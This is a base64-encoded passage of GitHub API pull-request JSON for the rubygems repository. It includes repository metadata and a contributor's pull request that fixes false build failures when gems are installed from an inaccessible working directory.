vZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21lcmdlcyIsImFyY2hpdmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzey9udW1iZXJ9IiwicHVsbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL25vdGlmaWNhdGlvbnN7P3NpbmNlLGFsbCxwYXJ0aWNpcGF0aW5nfSIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2RlcGxveW1lbnRzIiwiY3JlYXRlZF9hdCI6IjIwMTAtMDQtMTZUMTk6MDI6NDRaIiwidXBkYXRlZF9hdCI6IjIwMTgtMDEtMDVUMTk6MzY6MDZaIiwicHVzaGVkX2F0IjoiMjAxOC0wMS0wNVQwODoyMDozNVoiLCJnaXRfdXJsIjoiZ2l0Oi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206cnVieWdlbXMvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHBzOi8vcnVieWdlbXMub3JnLyIsInNpemUiOjE0MjkwLCJzdGFyZ2F6ZXJzX2NvdW50IjoxOTA2LCJ3YXRjaGVyc19jb3VudCI6MTkwNiwibGFuZ3VhZ2UiOiJSdWJ5IiwiaGFzX2lzc3VlcyI6dHJ1ZSwiaGFzX3Byb2plY3RzIjpmYWxzZSwiaGFzX2Rvd25sb2FkcyI6dHJ1ZSwiaGFzX3dpa2kiOmZhbHNlLCJoYXNfcGFnZXMiOmZhbHNlLCJmb3Jrc19jb3VudCI6OTU5LCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjoxNjIsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6OTU5LCJvcGVuX2lzc3VlcyI6MTYyLCJ3YXRjaGVycyI6MTkwNiwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sIl9saW5rcyI6eyJzZWxmIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzYifSwiaHRtbCI6eyJocmVmIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzNiJ9LCJpc3N1ZSI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzNiJ9LCJjb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzNi9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTEzNi9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudCI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSJ9LCJjb21taXRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzYvY29tbWl0cyJ9LCJzdGF0dXNlcyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9mMGM1NTU1NTQ1ODQ5NWQxNWM0YjUzMjRkYmIyZTQwMjk3MDRhNjBiIn19LCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM1IiwiaWQiOjI3MTc1Nzg4LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzUiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzUuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzUucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTM1IiwibnVtYmVyIjoxMTM1LCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6IkRvbid0IHRyZWF0IGluYWNjZXNzaWJsZSB3b3JraW5nIGRpcmVjdG9yaWVzIGFzIGJ1aWxkIGZhaWx1cmVzLiIsInVzZXIiOnsibG9naW4iOiJwZXRlIiwiaWQiOjM5MzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzM5MzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9wZXRlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYm9keSI6IklmIHRoZSB1c2VyIGluc3RhbGxpbmcgdGhlIGdlbSBkb2VzIG5vdCBoYXZlIGFjY2VzcyB0byB0aGUgZGlyZWN0b3J5XG53aGVyZSB0aGUgYGdlbSBpbnN0YWxsYCBjb21tYW5kIGlzIHJ1biAod2hpY2ggaXMgY29tbW9uIGZvciBzdWRvKDEpLFxuZm9yIGV4YW1wbGUpIHRoZW4gZXh0ZW5zaW9ucyB3aWxsIGJ1aWxkIGNvcnJlY3RseSwgYnV0IHdpbGwgdGhlbiByZXBvcnRcbmEgYnVpbGQgZmFpbHVyZSB3aGVuIHRyeWluZyB0byByZXR1cm4gdG8gdGhlIHByZXZpb3VzIHdvcmtpbmcgZGlyZWN0b3J5XG5yYWlzZXMgYW4gZXhjZXB0aW9uLiAgVGhpcyBmaXhlcyB0aGUgYnVnIGJ5IHJldHVybmluZyB0byBhIGZhbGxiYWNrXG5kaXJlY3RvcnkgaWYgd2UgY2FuJ3QgcmV0dXJuIHRvIHRoZSBvcmlnaW5hbCBvbmUuXG5cbkFuIGV4YW1wbGUgaXMgcHJvYmFibHkgY2xlYXJlcjpcblxuYGBgIHNoXG5ta2RpciAvdG1wL3Rlc3RcbmNobW9kIDcwMCAvdG1wL3Rlc3RcbmNkIC90bXAvdGVzdFxuc3VkbyAtdSAkYV9ub25fcm9vdF91c2VyIGdlbSBpbnN0YWxsIHNxbGl0ZTNcbmBgYFxuXG4oQWx0aG91Z2ggYSBub24tcm9vdCB1c2VyIGlzIGVhc2llciB0byBkZW1vbnN0cmF0ZSwgdGhpcyBoYXBwZW5lZCB0byBtZVxud2hpbGUgaW5zdGFsbGluZyBhIGdlbSBhcyByb290IGZyb20gYSB3b3JraW5nIGRpcmVjdG9yeSB0aGF0IGhhcHBlZCB0b1xuYmUgaW5zaWRlIGEgRlVTRSBmaWxlc3lzdGVtIHRoYXQgcm9vdCBjb3VsZG4ndCBzZWUuKVxuXG5JbiB0aGlzIGNhc2UsIHJ1YnlnZW1zIHdpbGwgY29tcGlsZSBzcWxpdGUzJ3MgZXh0ZW5zaW9ucyBjb3JyZWN0bHksIGFuZFxudGhlbiB0cnkgdG8gcmV0dXJuIHRvIHRoZSBwcmV2aW91cyB3b3JraW5nIGRpcmVjdG9yeSwgd2hpY2ggd2lsbCByYWlzZVxuYW4gRXJybm86OkVBQ0NFUywgd2hpY2ggd2lsbCB0cmlnZ2VyIHRoZSByZXNjdWUgYmxvY2sgdGhhdCBpcyBpbnRlbmRlZFxudG8gcmVwb3J0IGJ1aWxkIGZhaWx1cmVzLiAgVGhpcyBwYXRjaCBib3VuY2VzIGJhY2sgdG8gZGVzdF9kaXIgaW4gdGhhdFxuY2FzZSwgd2hpY2ggYWxsb3dzIGluc3RhbGxhdGlvbiB0byBwcm9jZWVkIGFzIG5vcm1hbC5cbiIsImNyZWF0ZWRfYXQiOiIyMDE1LTAxLTEyVDA1OjMxOjE1WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI5VDIzOjA0OjE0WiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiNDMzOTg2ZDM5OWE2ZTZkYTA1OWFkMzNjNDAyMGMyZWYxOThhNDdkMSIsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTEzNS9jb21taXRzIiwicmV2aWV3X2NvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTEzNS9jb21tZW50cyIsInJldmlld19jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTM1L2NvbW1lbnRzIiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy84MjhkN2NjMjUwMmE5ZDYwOTA3MTkxNWFiZmIzZTI0NTMzZjkyYzc5IiwiaGVhZCI6eyJsYWJlbCI6InBldGU6bWFzdGVyIiwicmVmIjoibWFzdGVyIiwic2hhIjoiODI4ZDdjYzI1MDJhOWQ2MDkwNzE5MTVhYmZiM2UyNDUzM2Y5MmM3OSIsInVzZXIiOnsibG9naW4iOiJwZXRlIiwiaWQiOjM5MzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzM5MzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9wZXRlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6MjkxMTc4NzEsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InBldGUvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InBldGUiLCJpZCI6MzkzNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMzkzNj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3BldGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcGV0ZS9ydWJ5Z2VtcyIsImRlc2NyaXB0aW9uIjoiTGlicmFyeSBwYWNrYWdpbmcgYW5kIGRpc3RyaWJ1dGlvbiBmb3IgUnVieS4iLCJmb3JrIjp0cnVlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9wZXRlL3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3BldGUvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcGV0ZS9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDE1LTAxLTEyVDA0OjAwOjExWiIsInVwZGF0ZWRfYXQiOiIyMDE1LTAxLTIxVDAyOjQ0OjExWiIsInB1c2hlZF9hdCI6IjIwMTUtMDEtMjFUMDI6NDQ6MTBaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcGV0ZS9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206cGV0ZS9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcGV0ZS9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3BldGUvcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHA6Ly9ydWJ5Z2Vtcy5vcmciLCJzaXplIjoxNzY2Miwic3RhcmdhemVyc19jb3VudCI6MCwid2F0Y2hlcnNfY291bnQiOjAsImxhbmd1YWdlIjoiUnVieSIsImhh